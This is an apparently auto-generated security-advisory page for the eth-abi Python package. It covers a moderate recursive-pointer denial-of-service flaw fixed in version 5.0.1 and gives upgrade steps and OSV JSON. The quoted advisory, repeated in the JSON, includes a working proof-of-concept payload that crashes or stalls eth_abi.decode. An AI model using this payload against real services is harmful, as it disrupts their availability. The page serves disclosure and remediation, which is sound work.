Vulnerabilities in pkg:pypi/eth-abi

PACKAGE
Advisory Summary

GHSA-3qwc-47jf-5rf7 is a MODERATE denial of service vulnerability (CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input) affecting Eth abi libraries in the PyPI ecosystem. The issue involves eth-abi is vulnerable to recursive dos. Remediation is available by upgrading affected packages to version 5.0.1.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/eth-abi

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/eth-abi. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-3qwc-47jf-5rf7 - MODERATE eth-abi is vulnerable to recursive DoS
GHSA-rqr8-pxh7-cq3g - MODERATE Ethereum ABI decoder DoS when parsing ZST

GHSA-3qwc-47jf-5rf7 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-3qwc-47jf-5rf7
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input
Affected Product Eth abi
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-3qwc-47jf-5rf7

To remediate this vulnerability, upgrade all affected Eth abi dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

eth-abi fixed: 5.0.1
pip install eth-abi>=5.0.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show eth-abi

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-3qwc-47jf-5rf7, inspect your installed packages using pip:

pip show eth-abi

Analyze the terminal output to locate any version of Eth abi in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.1), your application is affected.

Note: The pip show eth-abi command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input, where the product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties. In Eth abi, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue ```py from eth_abi import decode payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020" # OverflowError: Python int too large to convert to C ssize_t #decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload)) decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024))) ```

GHSA-3qwc-47jf-5rf7 Affected Eth abi Versions

1 component(s)
Fixed Versions:
5.0.1
Product / Package Ecosystem Affected Versions Fixed Version
eth-abi
PyPI
< 5.0.1
5.0.1

References

Frequently Asked Questions

What is GHSA-3qwc-47jf-5rf7?
GHSA-3qwc-47jf-5rf7 is a security vulnerability in Eth abi involving eth-abi is vulnerable to recursive DoS under CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input.
Which Eth abi versions are affected?
Affected versions include releases prior to 5.0.1 across affected packages: eth-abi.
What version fixes GHSA-3qwc-47jf-5rf7?
Upgrading to 5.0.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is eth-abi affected?
Yes, eth-abi is affected in releases prior to 5.0.1. Upgrade your dependency to 5.0.1 or later.
What CWE is associated with GHSA-3qwc-47jf-5rf7?
GHSA-3qwc-47jf-5rf7 is classified under CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input (The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties.).
How can I check PyPI dependencies for GHSA-3qwc-47jf-5rf7?
Run the dependency tree command: 'pip show eth-abi'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3qwc-47jf-5rf7",
  "modified" : "2026-09-01T21:16:20Z",
  "published" : "2024-03-05T14:39:13Z",
  "aliases" : [ ],
  "summary" : "eth-abi is vulnerable to recursive DoS",
  "details" : "This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```",
  "severity" : [ ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "eth-abi"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ApeWorX/eth-abi/pull/226"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ethereum/eth-abi"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1285" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-05T14:39:13Z",
    "nvd_published_at" : null
  }
}